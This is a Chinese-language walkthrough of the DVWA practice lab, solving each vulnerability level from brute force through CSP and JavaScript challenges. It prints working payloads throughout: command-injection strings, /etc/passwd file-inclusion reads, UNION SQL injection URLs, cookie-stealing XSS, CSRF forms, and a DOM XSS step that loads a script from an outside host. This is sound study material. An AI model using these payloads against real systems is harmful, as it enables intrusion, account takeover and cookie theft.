前言
粗略学习过http协议的相关内容,接下来就是刷靶场的环节了。DVWA涵盖了多种常见的web漏洞供我们练习,综合性较强。
Brute Force
low
根据题目的意思,这题的考点为暴力破解,那么我们将username设置为admin,接着使用burp suite的字典爆破功能爆破出密码就可以了。
或者我们查看源码发现,后端对password进行了md5加密,但是对username没有进行防御,因此我们在username部分进行sql注入也是可以的。
medium
这次在源码中username和password都使用了mysqli_real_escape_string()函数进行过滤,将一些特殊字符进行了转义,因此sql注入变得相当困难。
不过由于没有验证cookie等头文件,因此我们仍然可以进行字典爆破。
high
1 | if( isset( $_GET[ 'Login' ] ) ) { |
在high难度下加入了anti-csrf来随机获取token,并且在每一次登录时都要对token进行检查,因此直接进行字典爆破是无法解开这题的,这里我们对Intruder进行设置:
首先将请求头发送至Intruder中,设置好我们要进行爆破的内容为password与user_token,并且将攻击类型设置为Pitchfork。
接着在Options中找到Grep-Extract,选择Add,先点击一次Refetch response,接着再复制下面返回中的user_token的值,点击ok保存。
然后回到Payload,Payload set首先为1,设置我们要用来爆破的字典,再将Payload set设为2,选择Recursive grep,并进行设置:
设置完之后就可以进行攻击了,如果出现报错提醒可以去检查设置的线程是否为1,如果不为1则将线程改为1,最后效果:
当然这题通过编写python脚本也可以解出,但是由于这个脚本对我来说还是复杂了,就先贴一个网上的:
1 | from bs4 import BeautifulSoup |
impossible
impossible在High的基础上还设置了验证次数,当输入密码错误3次时必须等待15分钟后才能再次输入。因此,当对验证次数进行限制或者添加验证码等情况发生时,暴力破解的方法将被排除。
Command Injection
- 在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可解决文字乱码问题。
在练习攻防世界时就有介绍过一些命令注入了。那我们还是先来回顾下linux的命令拼接符号:
- A;B A不论正确与否都会执行B命令
- A&B A后台运行;A和B同时执行
- A&&B A执行成功时候才会执行B命令
- A|B A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
- A||B A 执行失败后才会执行B命令
low
low难度都是没有进行过滤的,因此我们可以直接构造各种命令进行注入,这里拿127.0.0.1&&whoami
举例:
medium
在这个难度下过滤了&&
与;
,不过由于本质上是黑名单机制,因此还是存在漏洞,我们只需要利用上面没有被过滤的命令拼接符号就可以了。
例如:127.0.0.1&whoami
high
这里的过滤就比较狠了:
1 | if( isset( $_POST[ 'Submit' ] ) ) { |
我们可以看到这差不多是过滤干净了,不过这里我们发现在过滤|
时真正过滤的是|
,这个后面是有一个空格的,因此,我们构造127.0.0.1|whoami
就可以绕过了。
impossible
采用了白名单的写法,不仅加入了user_token进行认证,而且还检测被.
分割的各个部分是否为数字,如果不为数字类型则返回error。在进行过滤的设置时,白名单的安全性还是比很名单要高很多的。
CSRF
low
我们修改密码后发现发送的是GET请求,URL如下:
1 | http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# |
因此我们可以直接构造一个URL,点击之后便可以直接修改密码:
1 | http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=mrl64&password_conf=mrl64&Change=Change# |
当然在进行CSRF攻击时肯定不能如此直白地攻击,因此我们可以套一个短域名进行伪装,或者编写HTML代码,并将攻击用的URL藏匿起来。如果要编写HTML进行攻击的话,只要标签支持src都可以尝试进行藏匿,比较常用的有scirpt、iframe以及img:
1 | <html> |
medium
这个难度下多进行了一次Referer的比较判断:
1 | if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) |
spripos(string,find[,start]):从start位置开始查找find中string第一次出现的位置
因此我们需要对Referer的值进行校正,在本地环境下自然可以用burp suite工具抓包更改请求头,但是实战中不会有人好心帮你更改Referer的。因此我们需要构建表单来进行绕过:
1 | <html> |
这里用到了<script> document.forms["csrf"].submit(); </script>
进行了对id为csrf表单的自动提交
最后让用户访问url并自动提交即可:
1 | 目录混淆法:将HTML页面放在127.0.0.1目录下,构建payload |
high
这关增加了token检测,我们必须要获取用户的token才能进行攻击。如果我们能成功将HTML保存到跨域白名单上,自然直接通过构建组合式CSRF表单再访问就可以了。但这个前提是很难做到的,因此需要通过JS发起请求并配合XSS进行。
新建一个JS:
1 | // 首先访问这个页面 来获取 token |
写这个js要求还是挺高的,反正我现在写不出来,然后把这个js上传到服务器上,在DOM SXX的High中引入这个js:
1 | http://127.0.0.1/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://www.xxxx.com/csrf.js"></script> |
访问之后就改密成功了。
impossible
增加了验证初始密码的选项,这在现实中是非常常见的保护机制,同样还可以使用验证码等其他方式进行保护,在这些情况下CSRF攻击是无法发起的。
File Inclusion
low
经典文件包含题目,在low等级完全没有过滤的情况下,我们利用文件包含漏洞可以做许多的事:
- 读取文件:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/passwd(linux限定)
- 远程文件包含:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=www.baidu.com/robots.txt
- 本地/远程文件包含Getshell
- 伪协议使用:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
- ……
medium
增加了对http://
、https://
、../
、..\
的过滤,但是过滤的方法是使用str_replace()函数,而且没有区分大小写,因此双写过滤与大小写过滤均可使用。
例如:
1 | http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttptps://www.mrl64.com/csrf.html |
high
1 | if( !fnmatch( "file*", $file ) && $file != "include.php" ) { |
这里要求匹配page参数的开头必须是file,否则执行exit结束程序,因此这里只能读取文件:
1 | http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///etc/passwd |
impossible
无懈可击的白名单匹配,不愧是一生之敌。
1 | <?php |
File Upload
low
刷了upload-labs做这个就是洒洒水啦。首先low难度下对文件后缀没有进行任何过滤,因此直接上传muma1.php(<?php phpinfo();?>
)文件就可以了,并且返回了路径地址,因此直接访问。
medium
upload-labs前两关的难度,上传jpg后改为php或者上传php并修改Content-Type都可以绕过检测:
high
1 | // File information |
这里就只能上传图片了,因此我们要用到图片码,配合伪协议读取就行了。
impossible
1 | // Where are we going to be writing to? |
文件名随机、无法截断,无懈可击。
Insecure CAPTCHA
题目的意思是不安全的验证码,既然如此,就说明这题的验证码是可以被绕过的。如果在前端设计一个严密的、安全的验证码,将会阻止多种攻击方式的进行,但是如果像DVWA里这样不严密的话,绕过就是分分钟的事。
1 | $resp = recaptcha_check_answer( |
DVWA中的验证码认证代码
由于验证码是谷歌的,如果没有魔法上网页面会刷新很久而且不会显示出验证码,不过这不影响解题,因为这题中的验证码就是拿来绕过的。
low
审计源码,发现后端将改密过程分为两个步骤,step1是验证验证码是否存在与正确,如果正确,则进入step2进行改密操作。不过由于没有任何验证参数,因此我们可以直接抓包更改step的值进行绕过:
ps.由于没有魔法上网因此这里没有验证码的认证参数
之后通过就可以改密成功了。
medium
1 | if( !$_POST[ 'passed_captcha' ] ) { |
我们发现这个难度下在step2中以POST请求的方式加入了passed_captcha
这个参数来验证我们是否进行了step1,不过如果我们知道了这个参数的名字,那么这层防护也将毫无意义,因为只要在抓包页面中补充这个参数就可以了:
high
查看源码,发现这次将分步操作改成了单步操作,并且加了一点骚操作进去:
1 | $resp = recaptcha_check_answer( |
在程序中,只要验证码正确或者满足后面一个条件就可以进行改密操作。由于$resp是我们需要绕过的,因此我们的着手点就在后面那个条件。POST请求一个值为hidd3n_valu3的g-recaptcha-response
,并且验证user_agent
是否为reCAPTCH,那这也是直接抓包更改就好了:
impossible
移除了high难度中的可绕过参数判断,并且要求输入原密码,甚至针对CSRF使用了anti-CSRF token,这使得验证码的绕过几乎无解。
SQL Injection
这些题都可以通过sqlmap跑出来(
low
什么都没有过滤的sql注入,我们先测试发现注入方式为字符型GET注入,并且url最后会有一个&Submit=Submit#
,构建payload时不要忘了。但是当我们写入联合注入时,发生了报错:
经过搜索发现是因为编码混乱导致的错误,因此在构建payload时我们将想要获取的数据以16进制的方式返回即可,构建payload(列数为2):
1 | http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1' union select 1,hex(concat(table_name)) from information_schema.tables where table_schema=database()--+&Submit=Submit# |
查完表名就是一条龙服务了,这里就不演示了。
medium
这次把注入方式换成了POST,但是还是没有做过滤,抓包更改POST就可以了,这次改成了数字型注入:
high
使用了session防止自动化攻击(实际上好像还是能用),但是在手工人面前这种没有过滤的注入毫无意义,直接抓包改包就可以了:
impossible
检测id是否为数字,并且进行预编译,防御拉满,毫无注入可能。
SQL Injection (Blind)
这些题都可以通过sqlmap跑出来(
low
GET类型的sql盲注题,而且没有做任何的过滤,但是由于DVWA的登录机制,因此写脚本时要记得写入cookie,这里用了二分法编写布尔盲注的脚本:
1 | import requests |
亲测,效果很好。
medium
这个难度下请求方式改为了POST,注入方式改为了数字型注入,并且利用了mysql_real_escape_string()
函数使单引号被过滤掉了。但由于仍然没有过滤其他关键字,因此payload构建方式和low难度下的差别不大:
1 | 查库 |
善用def写脚本,所有问题都不是问题。
high
这个难度的提交页和结果页分离,最重要的是,服务器会随机执行sleep()函数,时间为2-4秒,因此这个难度下如果使用时间盲注的话效率较低,因此我们仍然选择布尔盲注。
当然仔细观察这个cookie,我们会发现id的值也写了进去,因此这题在写脚本时,要注意注入的是headers,payload与low中的一致,同样善用def解决一切。
impossible
预编译、检测id、token检测,和上一关一样无懈可击(
Weak Session IDs
关于Session的原理和功能之前的博客有进行过探讨,我们知道Session的核心功能是验证,如果对生成的Session没有无规律性与不可逆性,那么就极其容易被人伪造,造成严重后果。
low
1 | vulnerabilities/weak_id/source/low.php |
每次访问都仅对上一次的Session加1处理,如果这样处理Session的话很容易导致黑客通过遍历Session进行攻击。
medium
1 | <?php |
使用时间戳来生成Session,确实提高了一定的安全性,但时间戳同样是有规律的,现在有很多的工具可以直接破解时间戳,因此时间戳来生成Session依然是不安全的。
high
1 | <?php |
setcookie(name,value,expire,path,domain,secure,httponly)
- name 必需。规定cookie的名称。
- value 必需。规定cookie的值。
- expire 可选。规定cookie的有效期。
- path 可选。规定cookie的服务器路径。
- domain 可选。规定cookie的域名。
- secure 可选。规定是否通过安全的HTTPS连接来传cookie。
- httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
不仅使用到了加1,同时还使用md5进行加密,这种加密有了一定的不可逆性,但是还是能被破解的,因为仍然存在规律。
impossible
1 | <?php |
随机数、时间戳、sha1加密一起上,真正做到了无规律性与不可逆性。
DOM Based Cross Site Scripting (XSS)
1 | <div class="vulnerable_code_area"> |
这就是这一关的html代码
low
这个难度下前后端都没有进行任何的过滤。html中的lang变量通过document.location.href来获取到,并且在解码后直接输出到option中。因此我们构建payload:
1 | http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script> |
medium
添加了php后端过滤,查找<script字符串在default变量值中第一次出现的位置(不区分大小写),如果匹配则手动将defalut改成English。
这里我们就不能直接写入JS脚本了,这个难度下我们可以通过闭合标签来解决这个问题:
1 | http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(document.cookie)> |
img标签中的src图片加载失败,原来的图片位置会出现一个碎片图标.可以借用img标签的onerror事件,img标签支持onerror 事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。
这里同样可以使用其他类似的语句进行攻击,例如<iframe onload=alert(document.cookie)>
等。
high
这个难度下后端对defalut的值进行了白名单匹配:
1 | <?php |
但是这个白名单只检测了defalut的值,因此我们可以用&
连接另一个自定义变量或者用#
借助注释进行绕过:
1 | http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English&a=<script>alert(document.cookie)</script> |
impossible
我们在URL中注入的语句直接不解码了,那这不管怎样肯定都无法注入了。
Reflected Cross Site Scripting (XSS)
1 | <div class="body_padded"> |
这是本关的html代码
low
后端并没有对输入进行过滤,仅仅检测了name的值是否存在。因此我们直接写入恶意JS脚本就可以了。
1 | <script>alert(document.cookie)</script> |
medium
这关的后端对<script>
进行了过滤,但是由于用的是str_replace
函数且没有区分大小写,因此这里可以直接使用大小写以及双写绕过,同样对上一关medium难度下几个方法也同样适用:
1 | <scr<script>ipt>alert(document.cookie)</script> |
high
这次后端的对<script>
过滤的过滤更加严格,大小写和双写都无法成功绕过。不过既然绕不过就没必要绕过了,不用到<script>
就可以了:
1 | <img src=x onerror=alert(document.cookie)> |
impossible
name变量通过htmlspecialchars()函数被HTML实体化后输出在了<pre>
标签中,这个情况并没有什么绕过方法。
Stored Cross Site Scripting (XSS)
由于是储存型XSS,所以要记得在注入后及时删除,不然会影响后面难度的注入。
1 | <div class="body_padded"> |
这是这关的html源码
low
这个页面看起来就很像留言板了,后端也是没有什么过滤,因此我们可以在massage中写入恶意JS脚本:
medium
依然是不严格的str_replace()
,而且这次的注入点在name中,嵌套、大小写、标签等方法就可以绕过,但是写入JS时发现字符长度被限制了,那就要通过bp抓包来进行注入了:
high
注入点依然是在name中,并且对<script>
进行了严格过滤,依然有字符限制,那么依然是抓包进行注入,使用标签就可以了:
impossible
对name和massage都进行了过滤,并且设置了token进行验证,同时有效防止了XSS和CSRF。
Content Security Policy (CSP) Bypass
CSP简单理解就是白名单,是浏览器的安全策略。如果标签或服务器中返回的HTTP头中有Content-Security-Policy
标签,浏览器就会根据其判断哪些网页资源可以被解析执行。CSP极大提升了网页的安全性,针对XSS起到了极大作用。
关于这一关的具体原理等方面,可以参考下面这些博客:
Content Security Policy 入门教程
CSP策略与绕过
low
查看后端php或者html头都可以发现允许包含的url为self
、pastebin.com
、hastebin.com
、jquery
和google analytics
。我们依次访问(需要魔法上网)可以发现其中pastebin.com
是一个文本分享的网站,我们可以通过在该网站写入一个恶意JS脚本,再通过靶场的包含将JS包含进去。
写入并创建恶意JS脚本,然后点击raw生成url:
最后回到DVWA将链接写入,点击include即可,不过由于这个网站服务器在美国,因此可能由于网络问题无法弹出弹窗。
medium
查看后端代码,发现这样一行:
1 | $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; |
这里面没有可以类似于上一难度中可以直接包含的网页,但是有一个关键:nonce
。
script-src是可以设置一些特殊值的:
unsafe-inline
:允许执行页面内嵌的<script>
标签和事件监听函数unsafe-eval
:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。nonce
:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个 token,才会执行hash
:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
ps.nonce值和hash值还可以用在style-src选项,控制页面内嵌的样式表
先举一个运用到hash的例子:
服务器给出一个允许执行代码的hash值
1 | Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng=' |
这样下面这个代码就会被允许执行,因为hash值相同(不包括<script>
标签)
1 | <script>alert('Hello, world.');</script> |
回到题目,这里使用了unsafe-inline
和nonce
,因此页面内嵌脚本,且必须有token才能执行,因此我们构建JS:
1 | <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(document.cookie)</script> |
high
后端php的CSP在这里只允许self,即本页加载的脚本运行。我们点击Slove the Sum按钮,发现html中多出来了一行:
1 | <script src="source/jsonp.php?callback=solveSum"></script> |
说明这里触发了JS,我们查看后端JS会发现有一个high.js
文件,我们把这个文件和html中的部分代码结合起来:
1 | //high.js |
当按下按钮后,触发id="slove"
,即触发click事件使得clickButton()执行,使得一个新的<script>
标签作为<body>
中的子元素写入,内容是src = "source/jsonp.php?callback=solveSum"
,因此我们会发现html中多出了一行:
这样浏览器就会发起请求:
1 | http://127.0.0.1/vulnerabilities/csp/source/jsonp.php?callback=solveSum |
我们来访问一下这个url:
浏览器收到请求过后收到answer值,这个值通过solveSum()返回到页面中,得到了15.
那么了解到整个原理之后,我们就可以开始思考注入方式了。我们知道当callback=solveSum时触发了这个函数,那么我们是不是可以自己写入一点东西进去,例如:
1 | ?callback=alert(documemt.cookie) |
我们发现这样JS就被写入了,但是我们应该如何注入呢,我们发现后端php中有这么一行:
1 | <?php |
POST提交的include参数会包含到<body>
中,居然还有这种好事:
成功。
impossible
后端php限制了输出,这意味着只能回调JS中的solveSum(),相当于直接将JSONP限制死了,因此不存在注入可能。
JavaScript Attacks
low
直接输入success进去,发现提示我们token不匹配。我们使用burp suite抓包查看请求头文件:
我们发现根据这个头的内容猜测,后端逻辑应该是验证token和phrase是否匹配,且如果phrase的值为success,则返回过关提示,否则返回错误原因,那么我们怎么知道token与phrase之间的关系呢?再看看源码发现这样几行:
1 | function generate_token() { |
phrase的值先进行rot13编码,再进行md5加密得到token值,那么我们就有办法获取到token了:
最后更改POST的内容:
medium
查看medium.js:
1 | function do_something(e){ |
不难看出这里将phrase倒序输出后在前两位与后两位补上了XX作为token,通过抓包我们也可以明显发现这个规律:
1 | token=XXeMegnahCXX&phrase=ChangeMe&send=Submit |
那么这里的token就很简单了,我们构建payload:
1 | token=XXsseccusXX&phrase=success&send=Submit |
POST到网页中:
这里还有另一种方法,我们输入success,接着在控制台执行调用do_elsesomething("XX")
,也可以成功注入:
high
查看high.js发现被混淆了,我们进行解码:
Deobfuscate Javascript
1 | function do_something(e) { |
看的头都大了,结合wp我们来慢慢分析。
首先document.getElementById("phrase").value = ""
将phrase的值置空,接着延迟300ms后执行token_part_2("XX")
,接着当按下按钮后执行token_part_3
,最后执行token_part_1
。因此读懂运行逻辑后,我们就可以进行逻辑分析了。
- 首先执行
token_part_1("ABCD", 44)
函数,这个函数调用do_something(e)
函数将phrase倒序并复制给token - 接着延迟300秒后,执行
token_part_2("XX")
函数,生成(XX+phrase)的sha256值并复制给token - 在点击按钮触发
click
事件后,执行token_part_3
函数,生成(ZZ+上一步中的token)的sha256值复制给token,生成最后我们所看到的token。
分析结束了,那么我们发现问题出在phrase置空上,那么我们可以编辑success,提前调用token_part_1("ABCD", 44)
和token_part_2("XX")
,最后点击submit以绕过对phrase的置空:
总结
这个靶场涉及的知识点还是很多的,从CSRF,到XSS,再到JS,反正理论是学了不少,不过理论还是得转化为实战能力,否则就是纸上谈兵了。